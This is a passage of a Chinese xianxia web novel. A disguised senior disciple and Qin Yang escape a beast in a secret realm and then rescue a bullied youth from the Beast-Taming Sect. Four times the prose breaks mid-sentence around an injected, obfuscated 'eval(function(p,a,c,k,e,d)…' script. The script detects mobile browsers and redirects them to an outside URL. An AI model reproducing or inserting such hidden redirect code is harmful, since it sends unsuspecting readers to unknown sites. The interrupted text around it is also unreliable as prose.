她还想说些什么,被秦扬沉声制止:“你这话说的过分了,向弱者挥刀的是我们,杨师姐并未伤害它们,可见她本性纯善。” 林子满冷笑:“我可不是什么善良的人,这些鸟记仇且睚眦必报,妖力低微却又嚣张至极,仗着族群数量众多,什么都不放在眼里,挑衅别的妖兽被大肆屠杀的事情时有发生,这次不过是不凑巧碰到了修士,死伤惨重也是咎由自取,我又何必多此一举?” “你,你怎么能这么说?那好歹是许多条性命!”李素月不可思议。 “我哪里说错了吗?”林子满站起身,“世间万物自有其运行的规律,多管闲事不过害人害己,我不过顺其自然而已。” 说完也不等他们反应,林子满转身离开。 没走出多远,身后传来匆匆的脚步声。 秦扬追上来,一脸歉意:“师姐,你别生气,李师妹她就是这种性子,口无遮拦的。” 林子满好笑:“她是这种性子关我什么事?她口无遮拦我就要忍吗?” “我不是这个意思……” 秦扬还想解释,林子满抬手制止了他:“我们不过今日才相识,恰巧同行几日罢了,出了这秘境可能再无机会相见,你不必跟我说这么多。” 秦扬薄唇微抿:“为何出了秘境就再无机会相见?难道我品行如此不堪,让师姐不屑相交吗?” 这都什么跟什么啊?林子满无奈扶额,她本意是觉得这个马甲今后估计不会再有用的机会,不必与秦扬牵扯太多,怎么经他嘴里说出来,就变成她看不上秦扬了呢? “我没有这个意思……” 秦扬眼睛一亮:“那出了秘境师姐也还是愿意与我来往的?” 林子满为难:“这……这,再说吧。” 秦扬却仿佛没听见:“既如此,我们也算是朋友了吧?” “额……算是吧。” 秦扬笑起来:“能结识师姐这样的朋友,是秦扬之幸。” 林子满:“……” 她看着笑得一脸灿烂的秦扬,一时无语凝噎,她觉得她好像知道他那么多的红颜知己是怎么来的了。 对着一个初相识,还什么都不了解的陌生人,都能如此坦然地说出与之相识是幸事,再配上他那张妖孽的脸,又有几个小姑娘能不沉沦呢? 众人落脚的这处休整之地风景秀美,宁静得仿佛只能听见风声。 在这静谧的环境下,大家慢慢放松下来,从刚刚那种狼狈逃窜的状态里脱离出来。或聚在一起说笑,或找了棵树靠着小憩,还有人从附近猎了兔子与野鸡,放血扒皮后架在火上烤得滋滋冒油。 有人蹲在水潭边,拎着一条从水里捞出的鱼在处理,刚将刮去的鱼鳞洗净,便发现那泛着幽幽绿光的水潭在微微震颤,一丝丝涟漪从水潭中心荡漾开来。 他疑惑地“咦”了一声,招呼众人过来看。 “这水里莫不是藏着什么宝贝吧?” “我觉得十分有可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902823|176710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能,这水潭一看就不是寻常的水潭,你看这水,多绿!” 旁人鄙夷地看了他一眼:“你自荒漠之地而来,不曾见过几个水潭,自然不知道水一深便显得绿,这不就是个普通水潭么?” “非也,这定然不是个普通水潭。”有人不同意,“我倒怀疑这底下有秘道,连通着另一处地方,你们难道不知道许多隐秘之地便是藏在水下的吗?” 大家争论不休,正讨论得热火朝天,一头巨大的妖兽破水而出,巨大的水花浇了众人一头一脸。 那妖兽浮于水上如立于平地,一身玄色鳞甲在日光下闪着暗红的光芒,更令人惊悚的是,那妖兽竟口吐人言:“又是你们这些人修,在这里吵吵嚷嚷扰我清眠,还将那些污秽之物投入我的住处,真是该死!” 阴沉的话语刚脱口,一团泛着电光的烈焰紧随其后,朝着众人兜头砸下。 秦扬飞身上前,将手里夹着的几张符咒扔出,一道结界瞬间成形,挡在烈焰之前。 众人刚松了口气,却见那团烈焰直接穿过结界,砸在地上后散成一片,以极快的速度蔓延开来! “快御剑!”见势不妙,林子满大喝一声,顺手拎起两个反应不及的御剑升空。 只见那火焰像有生命一般,朝着没反应过来的人迅速蜿蜒而去。 凡是被那火焰接触到的人都仿佛被雷击了一般全身抽搐,随即便翻着白眼倒在地上,火焰瞬间将其吞没! 这一切不过发生在眨眼之间,眼见前一刻还在一起嬉笑打闹的同伴下一瞬只剩一地灰烬,许多人站在剑上红了眼眶,又惧又怒,可看着那妖兽终究不敢冲上去。 那妖兽冷笑一声:“以为会飞便能无事了吗?” 它抖擞着身子,一双巨大的翅膀自身后展开,双翼扇动几下便引来一阵狂风,而那在地上蔓延的火焰霎时乘风而起,朝着众人扑去! 许多人躲闪不及,惨叫着被火焰包围,燃成一团火球从剑上跌落。 “我拖住它!你们先走!”一道声音自人群中传来。 众人无暇他顾,听得这话纷纷四散逃窜而去。 秦扬眉眼凌厉,挥剑凝成道道剑气,气势磅礴地朝那妖兽斩去。 “锵——” 金戈相交之声随着漫天尘埃响起,刺耳的声音激得人浑身汗毛倒竖。 不料尘埃散尽后,那妖兽仍是好端端地立于原地,身上的鳞片只留下了几道浅浅的划痕。 “雕虫小技。” 那妖兽冷嗤一句,张嘴又吐出一团烈焰,朝着秦扬直直飞来。 眼见躲闪不过,秦扬神色一沉,伸手握住剑身重重一抹,就着喷涌而出的鲜血迅速画出几句繁复的咒语,一片血色结界在他身前展开。 “砰!!!” 火球撞在结界上,推着秦扬往后退了好几步。 “哦?” 那妖兽见状,饶有兴趣地停下了动作,不再继续攻击,居高临下地看着眼前渺小的人族,像猫抓老鼠一样看着自己的猎物垂死挣扎。 7. 逃离 那团火焰撞在结界上也不见有丝毫消散的意思,来势依旧汹汹,像是只等着对方坚持不住便要将其吞没。 秦扬以剑为媒介,稳稳撑着那片结界,但脸色却越来越苍白,想是那结界极耗灵力。 一群人里,有些本事的早已奔逃不见踪影,本事不济的倒是留下了,但都已成一堆灰烬,一旦他灵力耗尽,将无人能救他。 难道今天就要这样断送在这里了吗? 秦扬心里一沉。 虽然他现在还不够强,但若真的要从这畜生手底下逃生也不是做不到,可这样势必会暴露自己的身份,从前做的种种谋划将全部付诸东流。 秦扬咬牙强撑着,脑子飞速转动,想要想出一个两全之策。 但灵力的极快消耗让他不得不做出选择,秦扬狠狠心,默念心诀将部分灵力聚于胸前。 就在此时,变故陡生—— 数张灵符自他身后飞出,呈包围之势将那妖兽团团围住。 “阵起,封——” 秦扬听见一道清泠泠的声音响起。 话音刚落,那些灵符开始绕着妖兽旋转起来,速度越来越快,越来越快,带起阵阵寒风,甚至隐约有雪花飘散在其中。 突然,数张灵符同时炸裂开来,无数水花自其中喷发而出! 水花飞溅于妖兽身上后瞬时凝结成冰,不过眨眼间,那妖兽就被冻成了一座冰雕。 秦扬微微松了口气,这一松懈,方才勉强聚于胸前的灵力就散去了,他感觉喉头一腥,血气直往上涌,手中输向结界的灵力差点断掉。 但他也实在维持不了多久了,身前血红的结界颜色越来越淡,几乎就要变成透明了,反倒显得那巨大的火团艳丽无比。 好在此时有人从身后抓住了他的衣领,将他用力向上一拎,结界消散,火球擦着他的脚底重重砸在地上,溅起无数尘土。 秦扬在这飞扬的尘土里努力抬头向上看去,只将将在眩目的日光中看到几缕纷飞的乌发,就因灵力耗费过度晕了过去。 林子满拎着秦扬御剑飞了好一阵,确定那妖兽追不上来了才敢停下歇息。 找了个绿草繁茂的地方把人一丢,林子满从剑上跳下来,瘫在地上大口喘气。 太久没活动过了,突然拎着个一两百斤的人飞这么久,简直是要了她的老命了。 缓了好一阵子才平顺了呼吸,偏头一看,边上的秦扬昏睡着,俊美的脸庞一片苍白,衬得那长睫如鸦羽一般。 啊,还有活儿没干呢,累得显些直接睡过去。 林子满艰难地爬起来,将人从地上拖起来盘坐好,开始往他身体里输送灵力。 幸而只是灵力耗损过度,得到补充后,秦扬很快便清醒过来。 见着是她,秦扬挑了挑眉,竟轻轻笑起来:“原来是杨师姐救了我,大恩大德没齿难忘。” “你看起来倒一点也不惊讶?”林子满眯眼看着他,虽说他嘴里说的话好像很意外,但看他神色,分明是意料之中的样子。 “这些人里,唯一能救我,也唯一会去救我的人,怕是只有师姐了。”他撑着身子坐起来,“我先前便说过,能与师姐结识是我之幸,师姐莫不是觉得我在诓你?” 林子满:“……” 难道不是吗? 看出她神情里的意思,秦扬正色起来:“我所言皆是发自肺腑,师姐若不信……” “停,停,停——”见他又要开始胡说八道,林子满制止,“我信,我信行了吧。” 看他还是不肯罢休,依旧要说些什么的模样,林子满脸连忙从储物镯里取出一粒丹药递给他,转移话题:“别多话了,先将这丹药吃了吧,在这秘境里灵力不足还是很危险的。” 这次秦扬倒是住了嘴,但却直勾勾地盯着她的手腕。 “怎么了?”林子满疑惑,低头看向自己的手腕。 只见那皓白的腕子上,佩着一支晶莹剔透的玉镯。 镯身青绿,枝干顶端盛放着一朵紫色的六瓣小花,活灵活现,仿佛刚刚被摘下的一朵花绕在腕间。 “这储物镯有什么问题吗?” 这镯子她已许多年不戴了,倒也不怕秦扬认出来,这次进秘境带上也是以备不时之需。 秦扬摇摇头,眯眼笑起来,像只狡黠的狐狸。 他接过丹药:“没什么,只是觉得这储物镯绝非凡品,不自觉便多看了几眼。” 林子满:“你倒是好眼力,随便一眼就知道绝非凡品了?” “师姐几张灵符便能将那妖兽困住,来历定然不凡,这储物镯以琉璃炼就,过程想必十分麻烦,想来自然不是凡品了。” “那妖兽凶猛,浑身鳞甲坚不可摧,又能将雷电附于火焰中,将人电晕后以烈焰焚之,实力确实不容小觑,能入这得失境的至多不过元婴期,强攻自然无人能敌。但万物相生相克,以火为主的妖兽,用水克之最为适宜,稍加观察便能知道的事,与来历并无太大的关系。”林子满随意道。 “它主火为何还要待在水底?那样不是会削弱自身实力吗?”秦扬疑惑。 “那妖兽既能口吐人言,肯定早已开了灵智,估计离化出人形成为妖修也不远了。这样的妖兽,知道自己被什么所克制,自然会想办法摆脱这种掣肘,在最不适应的水中修炼,以身入险境求得生机,倒也是个好办法。” “以身入险境求得生机……”秦扬喃喃低语,这话竟是说到他心坎里去了,他自己又何尝不是这样呢? “虽然修行一途也是在与天斗,与命角,但最重要、最基础的是要先活着。”林子满提醒道,“修为能够一日千里固然诱人,但若这是建立于重重危机之上,我还是不赞同的,有时候走捷径不一定比稳扎稳打更快,你明白吗?” 秦扬不解:“师姐这话是何意?”怎么突然这么严肃地跟他聊这些? “你先前为何要逞英雄让旁人先走,自己断后?” “若我说这是我内心的想法呢?牺牲我一个能救更多的人不好吗?” “你觉得我信吗?”林子满瞥了他一眼,“寻仙问道寻的是什么?问的又是什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902824|176710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么?绝大部分人追求的不就是长生吗?若牺牲自己便能救天下苍生,你说愿意我还能信几分,但为了区区同门之谊,我不信你能做到这份上。” “在生死边缘提升实力是很多人都会做的事,你今日留下来的原因,我也只能想到这个了,你想与那妖兽斗上一场,却错估了它的实力。” “师姐倒是看得清,我确实不是会为了他人不顾自身性命的人,也确实没想到那头妖兽那么强。不过我今日这样做,最主要的原因其实是——”秦扬笑笑,“我想出名。” 林子满:“???” 这是什么朴实无华的理由? “曾经有个人跟我说过,她的愿望是想看着我名满天下,我不想让她失望。”秦扬看着她,“这是个很好的机会,不是吗?” 这确实是个好机会,同行的有不少其他宗门的人,他们逃出去后,秦扬孤身一人留下对抗妖兽的事就传出去了。而这得失境中,几乎聚集了整个修真界的年轻俊杰,秦扬的名字都会或多或少都会传入他们耳中,为他将来结交其他修士打下了很好的基础。 事实是这样没错,但也不用这么拼吧? 她当初说自己的愿望是这个确实也是内心真实的想法,可却并不希望以这种方式实现。 林子满委婉道:“有没有可能,那个人并不想你以身涉险呢?” “我知道啊。”秦扬笑起来,“她对我很好,肯定是希望我平平安安的。这次进秘境来我还在想,她会不会跟我一起来呢?毕竟之前她提点过我好几次,告诫我不要掉以轻心,得失境里其实危险重重。” 他忽然凑近,盯着林子满的眼睛,期待地问:“师姐,你说她会放心我一个人吗?她会来保护我吗?会不会她其实一直偷偷跟着我,只是没让我发现呢?” 林子满有些心虚地移开视线:“我怎么知道……她或许也有自己的事要做,挺忙的吧,再说了,你也不小了,哪里还需要人跟着时时保护?” “也是。”秦扬点点头,语气好像低落了些,“毕竟这次我差点死掉,她也没有出现,看来确实没来得失境。” 说着又高兴起来:“不过还好有师姐救我,不然我这次可就栽了个大跟头了。” 林子满:“你这何止是栽了个大跟头,命都要栽没了。” 秦扬承认自己先前是托大了:“这次是我大意了,没想到那妖兽看似笨拙,实力却那么强,还如此痛恨人族,一露面就要将人赶尽杀绝。” “说来是有些奇怪,秘境里的妖兽与世隔绝,结界十年才开启一次,按理说不应对人怀有这么大的恶意,先前那鸟也是,见着人就直冲过来。” 到底发生过什么了? 林子满疑惑地想着,从前进得失境时遇到的妖兽,对待人的态度与对待其他妖兽并无不同。 在没开灵智的妖兽眼中,人族就是个只有两条腿的“奇怪妖兽”。而在开了灵智的妖兽眼中,则是它们未来成为妖修的一种形态。 不管怎样,都不曾如此仇视人族,现在怎么一言不合就要肆意杀人? 8. 少年 自那天从妖兽手下逃脱,两人结伴而行好几日,既没再遇到什么难缠的妖兽,也没碰到前些日子一起搭伴走的大部队,想来可能是当时为了活命逃的太远了。 直到某天午后,一阵嘈杂声吸引了二人的注意—— “看不惯我们的做法你就走啊,谁求着你跟我们一起了?” “就是!既然这么心疼那些畜生,还留在宗门干什么?早日出去自立门派才符合您大少爷的气质吧!” “真不知道像你这样的人是怎么能进宗门的,真是一代不如一代!” “谁让人家天赋高呢?就算看不上我们这些把戏,也不耽误人家成为宗主亲传弟子啊。”有人阴阳怪气地在一旁嘲讽,“不过我看宗主也快厌烦他了,不肯驯服妖奴,天赋再高不也是我们这些人的手下败将?” 兽嚎在众人的讥笑声中响起,只见几头妖兽被人召出,龇牙咧嘴地将一名少年围在中间,只等主人一声令下,就要扑上去撕碎他。 少年面色紧绷地握着剑,冷眼看着周围人的嬉笑与指指点点。 “哎呀哎呀,咱们的小师弟紧张了呢,看来我新收的那只妖兽实力不错啊,连小师弟都开始害怕了。” “小师弟,你若是怕了就求饶吧,师兄们也是不忍心看你受伤的。” “对啊小师弟,跪下来磕几个头认个错,也不是什么难事嘛。” “你不懂,小师弟可是膝下有黄金的,让他磕头认错,可比让他被妖兽吃了还难受。” “那他是没尝过被真的被妖兽撕咬是什么滋味,到时候被啃得血肉模糊了再求饶,可就来不及了啊,小师弟,你可得想清楚了。”有人十分“好心”地提醒道。 “要打便打,费什么话。” 被围在中间的少年半点认怂的意思都没有,声音十分冷漠。 “看吧,我们这样怜惜小师弟,人家可是一点都不稀罕呢。” 旁边一人冷笑着拍拍手,几头妖兽得了命令,嘶吼着一同朝少年扑过去。 那几头妖兽实力都不弱,身躯庞大却并不笨拙,尖利的爪牙几次蹭着少年的衣角刮过。 那少年看着年纪不大,孤身一人却也沉着冷静,借着身法灵巧险险避过袭来的危险,在几头妖兽间腾移挪转,瞅准机会便时不时刺出一剑,几番缠斗下来,已有好几头妖兽见了血,他却还安然无恙。 看似占了上风的少年脸色却并不轻松,他将剑从脚底踩着的妖兽躯体里缓缓拔出,一振臂抖落其上沾染的血珠,眼睛一眨不眨地盯着不远处那头遍身鳞甲的妖兽。 ——这才是最麻烦的那只。 它先前并未像那些妖兽一般蜂拥而上,而是高傲地蹲坐在一旁观战。 此时见少年解决掉其他妖兽,直勾勾地盯着自己,便觉得受到了挑衅,摔着尾巴站起身,“吭哧吭哧”地喷着气走向少年,鼻息里带着些微火星子,一身暗红的鳞甲仿佛鲜血干涸的颜色,给人带来无形的压迫感。 看着那熟悉的身形,隐匿了气息藏于树后的林子满轻轻“啊”了声:“这么巧,这与前些天水潭里那头妖兽是同一族的吧。” 一旁的秦扬显然也认出来了,他点点头:“不过眼前这妖兽与先前那头比起来,就实在不够看了。” 对他们二人来说不够看,对刚刚才经历过一场战斗的少年来说,却实在是个很大的威胁。 那妖兽张嘴吐出一团火焰,虽修为不够,尚且不能像它的前辈一般火中带雷电,但若实打实砸在人身上,也确实是能烧死人的。 那少年身形一闪躲开熊熊烈焰,快速朝着妖兽掠去,利刃重重划过鳞甲发出刺耳的声音,却未能造成丝毫伤害,他一刻不停,蹬地而起跃至妖兽头顶,挥剑朝着它的眼睛划去。 他必须速战速决,先前的战斗已经耗去了他不少灵力,再拖下去绝无胜算。 只要他先将这妖兽的眼睛刺伤,赢的机会就会大大增加,这也是他唯一的希望。 但是, “呲——” 刺耳的声音再次响起,原来是那妖兽阖上了双眼,少年那柄普通的剑还不足以穿透覆着细密鳞甲的眼皮。 有人嗤笑:“这只妖兽可是开了灵智的,小师弟,你以为我们还拿那些不入流的货色逗你玩呢?” 眼皮处的鳞甲到底比别处薄弱,这一剑未能重伤妖兽,却是将它彻底激怒了。 它发狂一般使劲甩着脑袋,将少年狠狠甩落在地上,继而一个俯冲,巨大的身躯朝着少年砸下,这一下若是踩实了,不死也得去半条命。 林子满眉头微蹙,看他们穿着一样的服饰,应该师出同门,就算师兄弟之间有什么不愉快,想要趁着出门在外发泄一下,也不至于要置人于死地吧? 那少年就地一滚,险险躲开擦着他头皮而过的蹄子,狼狈地撑着剑试图站起来。 但发怒的妖兽哪里肯罢休? 它深吸一口气,张嘴喷出一长串火焰,落地后呈包围之势将少年困在中间,自己则龇牙守在上方,断去最后的逃生路线。 火势在林中枯枝的助力下越发的猛,火舌已经舔舐到了少年的衣角,空气中有隐隐的焦味传来,而那妖兽的血盆大口中也不住往下淌着涎水,像是迫不及待要将眼前的猎物吞吃入腹。 林子满与秦扬对视一眼,从藏身处走出,扬声道:“大家都是同门,这么多人欺负一个不太好吧?” 见二人信步走来,一名身材魁梧的男子皱眉看向他们:“你们是什么人?教训师弟是我们宗门里的事,轮不到外人插手。” “他人宗内之事我们自然不会多管,但总不能见死不救吧?”秦扬看向被困火中的少年,“教训师弟是可以,但也不必下这样的狠手吧?” “你管我们下多重的手?我就算现在弄死他,你们又能怎么样?再废话信不信连你们俩一起弄死?” 那魁梧男子话音刚落就猝不及防地闷哼一声,双腿一软跪趴在地上,额头上渗出大颗汗珠。 “现在这是什么世道?区区一个筑基期,也能如此口出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902825|176710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狂言了?” 林子满走到他面前,语带疑惑地问道:“你刚刚说要弄死谁?” 那魁梧大汉心里一惊,平时仗着驯服的妖兽作威作福惯了,遇上修为比自己高的也不放在眼里,没想到这次碰到硬茬了,看这威压,至少也是个元婴期的修士。 他只能咬牙挤出个笑,努力抬起头,讨好道:“没要弄死谁,您听错了。” 其余几人震惊地看着这一幕,不敢相信平日里最是趾高气扬的师兄会有这样的一面,同时也深深感知到了一个讯息,这绝不是他们惹得起的人。 因此全都安静如鸡地低下了头,不敢与他们对视,生怕一个不小心就身首异处。 林子满嗤笑一声,不再理他们,走向那被火焰围困的少年。 那方才还气势汹汹的妖兽,此时一见他们二人,竟浑身瑟缩起来,无心再关注自己的猎物,低下身子匍匐在地上发出“呜呜”的声音。 没了守在上方的妖兽,被困的少年迅速跃出火圈,落地后快步走到二人面前道谢。 见着眼前夹着尾巴的妖兽,心中更是惊疑不定。 这二人究竟是何来历,竟能使这妖兽瞬间臣服? 看出他心中所想,林子满笑了:“这可不是我们的功劳,不过是前几天刚跟它族内一位前辈交过手,想必身上还残留了些许气息,妖兽又对气息极为敏感,才让它又惊又惧,以为是冒犯到祖宗头上了。” 这番解释却让少年眼里的崇拜愈甚,他连这头妖兽都打不过,险些命丧于它嘴下,而光凭气息就能让它臣服的妖兽,该是怎样的存在? 而能打败那样妖兽的人,又该有多么强大? 慕强是大部分少年的天性,在以强者为尊的修真界更甚。 看着少年努力克制着眼睛里要压抑不住的星星,林子满刚想说其实我们也没有打败它,只是暂时将它封住便落荒而逃了。 但她才张开嘴,秦扬侧身从她面前挤过。 林子满:“……” 大兄弟,这么宽的地方,你非得从这儿过? 挤挤更暖和吗? 秦扬走至其余几人面前:“你们还留在这儿做什么?还打算继续教训师弟?” “不教训不教训!我们这就走,这就走!” 几人抬手召回妖兽,收进储物袋中,拖着仍旧腿软得站不起来的魁梧男子,然后像是怕他们反悔一样忙不迭地逃离此地。 待几人远去,林子满有些好奇地问:“那些人真是你师兄?你做什么了惹得他们要杀你?” 同门师兄弟之间有龃龉不是什么稀奇事,但这种联合起来公然杀人的实在是少数,而且听他们之前的话,应该已经不是第一次这样做了。 少年抿了抿嘴,有些纠结,似是不太愿意开口。 林子满了然地摆摆手:“你要是不想说也没关系,我就是随口一问。” “其实也没什么。”少年组织了一下措辞,还是选择和盘托出,“我叫莫叶声,是驭妖宗的弟子。” 9. 浮木 听到少年的来历,秦扬眉心一皱:“驭妖宗?” 怪不得先前支支吾吾不肯说。 林子满倒是早有预料,先前见他们人手一头妖兽,心里便隐隐有了猜测。 她这些年没怎么关注修真界发生的事,却也听过驭妖宗的名号。 驭妖宗是近些年来发展势头非常猛的一个门派,开宗立派至今不过两三百年,实力却早已超过最擅丹药与阵法的蕉林谷,成为修真界第二大宗,仅仅屈居于有上万年传承的上阳宗之下,近年来更是有了与上阳宗平起平坐的趋势。 起初,人们以为驭妖宗发展如此之快,是因为宗内弟子各个天赋卓绝,修为能够一日千里,才能使宗门实力突飞猛进,地位水涨船高。 但了解过才发现,驭妖宗招收弟子并没有什么严苛的考核,甚至可以说是来者不拒,许多天资平庸的弟子也能拜入其中。 而驭妖宗之所以有如今的成就,是因为宗主曾亲创一套秘法,也就是如今驭妖宗弟子普遍修习的驭妖之术。 一般的修士想要契约一头妖兽都是困难重重,不仅要在武力上降服它,还要击溃它的意志,才能令其真正认主,成为日后并肩作战的伙伴。 妖兽大多性烈,许多都是宁死不屈的性子,即便被捕,也要拼个鱼死网破,极少有愿意臣服的,所以能成功契约妖兽的人少之又少。 但驭妖宗不同,只要修习了那神秘莫测的驭妖之术,即便是普通的筑基期弟子,也能轻松契约好几头妖兽,高阶弟子更是一人配备数头凶猛妖兽,其中不乏像今日那种开了灵智的,甚至还有修炼出人形的妖修。 或许是因为容易得到,驭妖宗的人很少像其他修士一般将契约妖兽当作自己的伙伴。 他们觉得妖兽就是一件趁手的利器,只需一声令下,便会随主人心意上前厮杀,勇猛无比,就算死了也不用可惜,再契约一头更强大的便是。 因此驭妖宗的名声在修真界并不怎么好,许多人私下里谴责他们的残忍,又因为自身实力不足,不敢当面说什么。 也因为如此轻松就能变得强大,许多天资不高的人“慕名而来”,驭妖宗壮大得越来越快。 但有这种投机取巧心思的人,大多不是愿意静心修炼的,品性也并不怎么端正,拜入驭妖宗只是想获得强大的实力去作威作福。 也就是常说的——恃强凌弱。 这也是人们提起驭妖宗时脑海里蹦出来的第一个词。 因此秦扬对这出身于驭妖宗的莫叶声并不怎么看得上。 感受到秦扬打量的目光,莫叶声有些难为情地垂下了头,他也知道自己的宗门不招外人待见。 林子满微抬手肘怼了身边人一下,示意他收敛一点,不要太过分了。 至少从方才的表现来看,这少年与那些为虎作伥的并不是一路人,他们也不能光凭着一个人的来历与出身就断定他是个好人或坏人。 林子满:“那你是与他们一同出来历练的?怎么闹成了这样?” “我们这次进得失境,是奉宗主的命令来契约妖兽的。得失境里有许多外界已经消失的妖兽,师父想让我们契约一些难得一见或是修为高深的妖兽。” 说着,莫叶声的语气里多了几分愤怒:“但是他们连那些妖力低微、甚至灵智未开的妖兽都不放过,那些狐妖兔妖他们根本看不上眼,契约它们不过是为了满足自己的欲望!” 狐妖大多不善战斗,化作人形却个个容貌昳丽。 普通的妖兽修炼到化形十分困难,就如前些天遇见的那头妖兽,修为已算不俗,却还是迟迟没能化形。 据说是因为上古时候,人妖两族被分隔两地时,妖王带走了妖族至宝,此后在人界出生的妖兽,生来就没有接触过至纯妖力,因此极难化形。 但驭妖宗所修之术与妖兽息息相关,宗内自然不乏助妖化形的丹药。 因此经常会有人带些狐妖、兔妖回去,大把大把的丹药喂下去催化出人形,用以发泄自己的欲望。 昨日他们就在路上发现了一窝出生不久的狐妖,雪白的狐狸刚会走路,见着陌生人也只会装模作样地龇牙。 但弱者的反抗只会引得强者发笑。 “这小狐狸崽子还挺有脾气,看来长大了也是个泼辣的啊!”有人猥琐地笑起来,“但大爷我就喜欢这样的!” 说着便伸手拽着尾巴将它们倒拎起来,准备带回宗门圈养起来。 莫叶声实在看不过,半夜的时候趁其不备,偷偷将那窝狐狸放跑了,这才惹怒了那些人。 “师父十分痛恨狐妖,凡遇狐妖,必杀之。”莫叶声叹了口气,“那些狐妖若被带回宗门,怎么都逃不过一死。” “我几次三番阻止,他们早就看我不顺眼了。现在又是在秘境里,死个人是再正常不过的事,他们自然想要趁机除掉我这个碍眼的。” 林子满奇怪:“那方才你怎么不召你的妖兽出来?毕竟你的实力虽在他们之上,一个人又哪里会是那么多头妖兽的对手,若有个帮手,也不至于落得那样狼狈的下场。” “我没有契约过妖兽。”莫叶声解释道,“我其实并不认同驭妖宗的做法,妖兽也是鲜活的生命,开了灵智后便会有自己的思想,怎么能当成只知杀戮的武器呢?特别是那些已化形的妖修,除了修炼方式不同,与我们这些人修又有何区别?我们凭什么这么肆无忌惮地奴役他们?” “那你还留在驭妖宗?”秦扬纳闷地问。 “我无父无母,从小以乞讨为生,后来险些病死,是师父将我捡回去,治好了我的病,给了我衣食无忧的生活,让我平安长到这么大。驭妖宗就是我的家,我又怎么能离开我的家、离开师父呢?” 林子满不赞同:“报恩有很多种方式,没必要牺牲自己,还要被迫做与自己意愿相悖的事。” “有些人没有体会过温暖,第一次遇到一个真心对自己好的人,心生执念是很正常的事。就像溺水者好不容易抓住一根浮木,即便浮木救不了他,他也不会轻易放手,死也会带着那根浮木一起。”秦扬语气里倒是多了几分赞同,他看向林子满,“这种感受我能理解。” 他的语气过于认真,眼底的情绪也十分深沉,林子满一愣,下意识摸了摸脸。 还是自己原本的脸,她松了口气。 秦扬刚刚话里的意思,怎么都不应该是对她这位“杨师姐”该说的,她还以为他发现自己的身份了。 林子满仔细回想,这张脸秦扬绝对是没见过的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902826|176710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她也没露出过什么破绽,应该不会暴露身份。 但想到他时不时的异样,林子满眉头一皱,不着痕迹地打量了秦扬一眼,难道他发现什么了? 莫叶声的声音打断了她的思绪:“虽不至于那么偏执,但我也确实做不到就这么离开驭妖宗、离开师父。” “师父现在还需要我,至少得等他不需要我了,我才能考虑离开的事。”他苦笑一声,“就算看着师兄他们罔顾妖兽的性命,我也只能尽力阻止。” 忽然,林子满想起先前遇到妖兽时的异样,心念一转猜到了什么:“你师兄他们已经抓捕了不少妖兽吧?我们前些天碰到了两次妖兽,对人的敌意都很大。” “没错,凡是遇见新奇些的妖兽,师兄他们都会想办法抓来,若是不满意或者看不上,也不会放它们一条生路,直接丢给契约过的食肉妖兽,当作是给它们加餐。”莫叶声语气里满是羞愧,“现在秘境里的很多妖兽对人的敌意都很大,这些都是因为我们。” “你虽然是驭妖宗的弟子,却也不曾助纣为虐,这些事跟你没关系。”林子满安慰他。 莫叶声摇了摇头,轻声道:“看着它们死在我面前,却什么也阻止不了,怎么能说跟我没关系呢?” 知道他过不了自己心里那一关,林子满轻轻叹了口气,不再在这个话题上多做纠缠:“那你接下来有什么打算吗?” 莫叶声摇了摇头。 林子满:“那不如跟我们结伴一起走?多个人也好多个照应。” 莫叶声还没说什么,秦扬倒先提出了反对意见:“我觉得这不妥,既来了这得失境,怎么也得历练历练。” “这位师弟年纪尚小,天资也很不错,又与他那些师兄不同,不是个仗着妖兽作威作福的人,今后若想在宗门里有立足之地,就得趁着这次机会好好提升自己的实力,否则如果再发生今天这样的事,又有谁救得了他呢?”秦扬分析的头头是道,“况且那些人已经离去,得失境这么大,想必不会再碰到。既然无人再迫害他,凭他的实力,也不会有生命危险,我们又何必耽误人家,害得他浪费这大好机会呢?” 林子满思索一番,觉得他说的好像挺有道理,但怎么总感觉哪里怪怪的呢? 